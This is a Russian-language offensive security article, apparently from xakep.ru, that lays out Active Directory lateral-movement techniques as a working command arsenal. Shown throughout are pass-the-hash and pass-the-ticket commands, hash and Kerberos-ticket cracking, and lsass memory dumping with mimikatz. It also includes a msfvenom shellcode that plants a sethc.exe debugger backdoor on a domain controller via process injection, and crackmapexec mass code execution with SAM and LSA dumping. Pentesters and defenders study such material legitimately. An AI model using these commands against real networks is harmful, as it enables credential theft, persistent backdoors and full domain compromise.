- HTTP.
Код:
psexec.py -hashes LM:NTLM admin@target
wmiexec.py -hashes :NTLM admin@target
Код:
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
pth-winexe -U admin% //target cmd
pth-wmic -U admin% //target "select Name from Win32_UserAccount"
pth-wmis -U admin% //target "cmd.exe /c whoami > c:\out.txt"
pth-smbclient -U admin% //target/c$
pth-rpcclient -U admin% //target
pth-sqsh -U admin -S target
pth-curl http://target/exec?cmd=ipconfig
pth-net rpc group ADDMEM 'Administrators' username -S target -U domain/user
Код:
./client/X11/xfreerdp /v:target /u:admin /pth:31d6cfe0d16ae931b73c59d7e0c089c0
Код:
evil-winrm -i target -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0
Код:
mimikatz# sekurlsa::pth /user:administrator /domain:. /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
Код:
dir \\target\c$
Код:
#!/usr/bin/python2
import hashlib,binascii,sys
if len(sys.argv) == 1:
print binascii.hexlify(hashlib.new('md4', raw_input().decode('utf-8').encode('utf-16le')).digest())
else:
print binascii.hexlify(hashlib.new('md4', sys.argv[1].encode('utf-16le')).digest())Bruteforce
Если требуется аутентификация на сервисе, который не поддерживает Pass-the-Hash, например RDP, может быть применена атака подбором пароля на достаточно высоких скоростях. LM-хеши имеют конечный набор входных значений, шифруются половинками по 7 байт и нечувствительны к регистру. Это значит, что абсолютно любой LM-хеш может быть взломан. С NTLM-хешем ситуация немного сложнее.LM
Для LM-хешей надежнее всего использовать rainbows (радужные таблицы) ophcrack:
Код:
ophcrack -g -d /opt/rainbows/LM -t xp_special,0,1,2,3 -f hashes-lm.txt
Код:
john --format=lm --wordlist=/usr/share/wordlists/rockyou.txt hashes-lm.txtNTLM
Hashcat и John по‑разному ожидают подачу NTLM-хешей. Так, для Hashcat команда выглядит следующим образом:
Код:
31d6cfe0d16ae931b73c59d7e0c089c0
hashcat -a 0 -m 1000 hashes_ntlm.txt /usr/share/wordlists/rockyou.txt
hashcat -a 3 -m 1000 hashes_ntlm.txt -1='?u?d?l' '?1?1?1?1?1?1'
Код:
admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes_ntlm.txtБИЛЕТЫ KERBEROS
Для использования Kerberos-билетов при аутентификации требуется доступ к порту 88/TCP контроллера домена.Kerberoasting
Техника kerberoasting чрезвычайно полезна, так как часто с ее помощью можно скомпрометировать учетки администраторов домена и прочие интересные сервисные учетные записи. Для своего применения она требует любую доменную учетную запись.Суть ее заключается в том, что для некоторых сервисных учетных записей с контроллера домена можно выгрузить TGS-билет Kerberos для доступа к той или иной службе. Эти билеты зашифрованы паролем (NTLM-хешем) соответствующего пользователя. А это значит, что такие билеты могут быть подвержены офлайн‑атаке подбором пароля по словарю. Поэтому крайне важно любой ценой достать эти билеты.
Всех пользователей, у которых можно выгрузить TGS-билет, можно найти поисковым LDAP-фильтром:
Код:
(&(samAccountType=805306368)(servicePrincipalName=*))
Код:
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain.com/username
Код:
Rubeus.exe kerberoast /outfile:hashes.txtСуществует способ выполнить kerberoasting базовыми средствами ОС с помощью PowerShell:
Код:
PS> setspn -T domain.com -Q */*
PS> Add-Type -AssemblyName System.IdentityModel
PS> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.domain.com"
PS> klistИзвлечение Kerberos-билетов через дамп виртуальной памяти
Если антивирус не дает запустить упомянутые инструменты, мы можем сделать дамп памяти процесса lsass.exe. Есть как минимум три способа:- taskmgr.exe → ПКМ по lsass.exe → дамп памяти;
- rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full;
- procdump.exe -ma lsass.exe /accepteula.
Код:
mimikatz.exe
sekurlsa::Minidump lsass.dmp
sekurlsa::tickets /exportИзвлечение Kerberos-билетов через дамп физической памяти
Если к процессу никак не подобраться, на помощь придет дамп всей физической памяти. Сделать это можно инструментом из открытого фреймворка по форензике rekall:
Код:
winpmem.exe --mode MmMapIoSpace --format raw --output ram.dmp.zip
Код:
windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatzИзвлечение Kerberos-билетов из сетевого трафика
Достаточно элегантным решением может быть перехват билетов из сетевого трафика в момент их выгрузки:
Код:
TCPdump.exe -i 1 -nn -w out.pcap
./[extracttgsrepfrompcap.py](https://github.com/nidem/kerberoast/blob/master/extracttgsrepfrompcap.py) -f out.pcap -w out.txtBruteforce TGS
Применять брутфорс‑атаку имеет смысл только против TGS Kerberos-билетов (билетов для доступа к службам), так как они зашифрованы паролем пользователя:
Код:
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes-tgs.txt
hashcat3 -a 0 -m 13100 hashes-tgs.txt /usr/share/wordlists/rockyou.txtPass-the-Ticket
Если у нас имеется Kerberos-билет TGT (билет пользователя), то мы можем применить его для аутентификации. При этом Linux и Windows используют разные форматы — ccache и kirbi соответственно. В свою очередь, билеты могут быть изначально представлены в любом из этих форматов, в зависимости от того, из какой ОС мы их взяли. Но и воспользоваться ими нужно уметь для любой ОС.Под Windows для импорта билета в формате kirbi используется следующий подход:
Код:
mimikatz# kerberos::ptt c:\path\to\tgt.kirbi
Код:
mimikatz# kerberos::ptс c:\path\to\tgt.ccache
Код:
dir \\dc.company.org\c$
Код:
cp tgt.ccache /tmp/krb5cc_0
klist
Код:
kekeo.exe "misc::convert ccache ticket.kirbi" "exit"
Код:
smbclient -k //dc.company.org/c$
winexe -k yes -N //dc.company.org cmd
Код:
KRB5CCNAME=`pwd`/tgt.ccache psexec.py -k -dc-ip 10.0.0.1 target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache secretsdump.py -k -no-pass target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache atexec.py -k -no-pass -dc-ip 10.0.0.1 target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache services.py -k -no-pass -dc-ip 10.0.0.1 target.domain.com listДОМЕННЫЕ УЧЕТНЫЕ ЗАПИСИ
Доменные учетные записи в инфраструктуре компаний, использующих Active Directory, считаются наиболее приоритетной мишенью. Именно доменные учетные записи в итоге приводят нас на контроллер домена.Кеш хешированных доменных учетных записей
Кеш хешированных учетных записей, или Domain Credential Cache, — это куст реестра, куда записываются все успешные логоны в систему под доменными учетными записями на случай, если контроллер домена в будущем окажется недоступен. Содержимое этого кеша легко извлечь уже знакомым нам способом:
Код:
reg.exe save hklm\security security
reg.exe save hklm\system system
Код:
creddump7\cachedump.py system security true
Код:
creddump\cachedump.py system security
Код:
secretsdump.py -system system -security security LOCAL
Код:
creddump7\lsadump.py system securityСуществует две версии этого хеша — dcc1 (mscash1) и dcc2 (mscash2). Данные хеш‑функции имеют абсолютно одинаковую длину, и незнание версии ОС может привести к очень долгому безуспешному подбору пароля. Так, если у нас Windows XP/2003, то используется dcc1:
Код:
john --format=mscash hashes_dcc.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 1100 hashes_dcc.txt /usr/share/wordlists/rockyou.txt
Код:
john --format=mscash2 hashes_dcc2.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 2100 hashes_dcc2.txt /usr/share/wordlists/rockyou.txtУчетные данные запущенных сессий
Доменные учетные записи также находятся в памяти процесса lsass.exe. Это касается только активных в данный момент сессий. Список пользователей и их процессов удобно проверять встроенной командой qprocess *.Инструменты mimikatz.exe или wce.exe умеют извлекать для активных сессий хеши и пароли открытым текстом:
Код:
mimikatz.exe privilege::debug sekurlsa::logonPasswordsИзвлечение через дамп виртуальной памяти
Делаем дамп одним из перечисленных выше способов. После этого воспользуемся помощью mimikatz:
Код:
sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswordsИзвлечение через дамп физической памяти
Как было сказано чуть раньше, антивирус может защитить lsass.exe от посягательств и не позволить сдампить процесс ни одним из перечисленных способов. Тут вновь вооружаемся утилитой winpmem.exe и дампим всю физическую память. Антивирусу крайне сложно обнаружить процесс дампа физической памяти, так как он выполняется не через WinAPI-вызовы, а через прямое чтение памяти из режима ядра.Проанализировать дамп памяти мы сможем с помощью отладчика WinDbg и специального модуля для него от автора mimikatz:
Код:
windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz
Код:
volatility --plugins=/path/to/volatility_plugins/FrancescoPicasso -f pmem.img mimikatzАппаратная изоляция процесса lsalso.exe
В современных версиях Windows нас может ждать неприятный сюрприз в виде lsalso.exe — процесса, защищенного технологией виртуализации. Существуют, конечно, техники, связанные с регистрацией провайдера LSASS:
Код:
mimikatz.exe misc:memsspНо так ли нам нужен пароль этого администратора домена? Подумаем хорошенько: мы зашли на сервер под одной учетной записью и хотим получить пароль от другой. В пределах текущего ПК и наша, и админская учетки находятся на равных уровнях — мы оба локальные администраторы этого ПК. Это значит, что мы можем взаимодействовать как с домашним каталогом нужной нам учетки, так и с памятью его процессов.
Говоря более конкретно, мы имеем полное право писать код в память процессов, работающих от имени доменного администратора, и запускать в нем произвольные потоки. То есть мы можем просто сгенерировать шелл‑код с произвольной командой и выполнить ее от имени администратора домена, заинжектив ее в любой процесс нужного пользователя. И для этого нам не потребуется даже пароль этого админа:
Код:
msfvenom -p windows/exec CMD="wmic /node:10.0.0.10 process call create 'reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"'" -f raw -e x86/alpha_mixed -o shellcode.txt exitfunc=threadТеперь все, что нам нужно, — это выбрать процесс администратора домена с помощью команды qprocess *. Часто админские процессы висят в параллельной сессии RDP, иногда — забытой. Поэтому в качестве цели можно взять, например, explorer.exe. Далее мы выделяем в нем немного памяти, записываем туда наш шелл‑код и запускаем поток c помощью shellcode_inject.exe:
Код:
shellcode_inject.exe PID shellcode.txt
Код:
rdesktop dc.company.orgРезультат внедрения шелл‑кода в админский процесс — активация бэкдора на контроллере домена
Доступ к контроллеру домена получен. Это значит, что мы можем выполнить репликацию доменных учетных записей, включая системную учетную запись krbtgt. С ее помощью можно «нарисовать» TGT Kerberos-билет того самого админа и авторизоваться от его имени уже второй раз, не зная никакого пароля. Эта техника называется golden ticket.
Подведем небольшой итог по самым распространенным типам хешей Windows и областям их использования.
LATERAL MOVEMENT
Так или иначе, для бокового перемещения на входе мы можем иметь учетные записи в одной из перечисленных ниже форм:- паролей открытым текстом;
- NTLM-хешей;
- Kerberos-билетов.
Credentials spraying
Само по себе боковое перемещение — это, как правило, массовое исполнение кода, то есть запуск одной и той же команды на группе целей. При этом оно часто выполняется вслепую, особенно на начальной стадии, когда нет разведанного пути получения учетной записи админа.Поэтому важно уметь исполнять код разными способами не на одной машине, а сразу на группе целей. Тут лучший, на мой взгляд, инструмент — crackmapexec. Эта тулза имеет крайне богатый арсенал функций. Она может быть использована также для брутфорса и много чего еще, что выходит за рамки данной статьи.
Синтаксис для использования локальных учетных записей выглядит следующим образом:
Код:
cme smb -d . -u username -p password targets.txt
Код:
cme smb -d domain -u username -p password targets.txtДля какой‑то конкретной учетки мы можем сделать проверку прав сразу на группе целей:
Код:
cme smb -d . -u admin -p passwd --shares targets.txt 2>&1 | grep Pwn3d
Код:
cme smb -d domain -u users.txt -p passwords.txt --no-bruteforce --continue-on-success --shares targets.txt 2>&1 | grep Pwn3d
cme smb -d domain -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --shares targets.txt 2>&1 | grep Pwn3d
Код:
cmedb> proto smb
Код:
cmedb> creds
Код:
cmedb> hosts
Код:
cme smb -id 7 --shares targets.txtМассовое исполнение кода
В какой‑то момент нам может потребоваться тупо запускать какую‑то программу на группе целей. И если для точечного запуска команд мы использовали всякие psexec, то для массового прибегнем к cme. Для выполнения простой команды можно воспользоваться следующей директивой:
Код:
cme smb -d . -u admin -p s3cr3t -x 'ipconfig' targets.txt
Код:
cme smb -d . -u admin -p s3cr3t -X 'Get-Service' targets.txt
Код:
cme smb --exec-method smbexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme smb --exec-method wmiexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme smb --exec-method atexec -d . -u admin -p s3cr3t -x ipconfig targets.txt
cme winrm -d . -u admin -p s3cr3t -x ipconfig targets.txt
Код:
cme smb -d . -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -x 'ipconfig' targets.txt
Код:
KRB5CCNAME=$(pwd)/tgt.ccache cme smb -k -u admin -x 'ipconfig' targets.txt
Код:
cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --sam targets.txt
cme smb -d . -u users.txt -H hashes.txt --no-bruteforce --continue-on-success --lsa targets.txt
Код:
cme smb -M mimikatz -id 8 targets.txtЗАКЛЮЧЕНИЕ
Windows имеет очень много разных особенностей, позволяющих нам «перепрыгивать» с одного хоста на другой. Многие из этих трюков, такие как PTH, вообще говоря, являются уязвимостями, но Microsoft не хочет их закрывать. Так они переходят в разряд «фич», которые навсегда останутся в нашем арсенале.Как бы абсурдно это ни прозвучало, отказ от Active Directory улучшил бы защищенность многих внутренних сетей. На моей практике был показательный случай, когда за полтора дня была захвачена огромная внутренняя сеть в 140 тысяч ПК, но в то же время за пять дней не поддалась крошечная компания в десять человек, не использующая Active Directory.
Сложно себе представить сеть компании, которая сдержала бы натиск всех описанных приемов. Слишком многое может оказаться неочевидным для администраторов, и тогда одна ошибка приводит к краху всей инфраструктуры.
В сетях с Active Directory мы имеем экосистему с единым центром — контроллером домена. И для его компрометации необязательно атаковать сеть прямо в лоб. Как правило, к компрометации домена приводят не уязвимости в ПО, а простые недочеты — избыточное количество админских учеток либо их чрезмерное использование налево и направо, использование одинаковых паролей локальных учетных записей или же просто слабые пароли.
Рассмотренные методы составляют примерно 10% угроз внутренней инфраструктуры и лишь одну десятую обычного арсенала хакера. Ведь существуют еще уязвимости ПО и атаки на ЛВС. Active Directory вместе с Windows, имея множество неочевидных изъянов в безопасности, создает для атакующего крайне удобную среду для продвижения, в которой каждый хост находится в доверительных отношениях с соседними узлами сети. После успешного взлома одного такого хоста начинается цепная реакция взломов, которая доходит до админских ПК и серверов, а потом уже и до АСУ ТП или SWIFT. И чем больше сеть, тем сложнее соблюдать порядок, тем больше вероятность встретить misconfiguration и тем выше будет цена такой ошибки.
Автор @s0i37
источник: xakep.ru
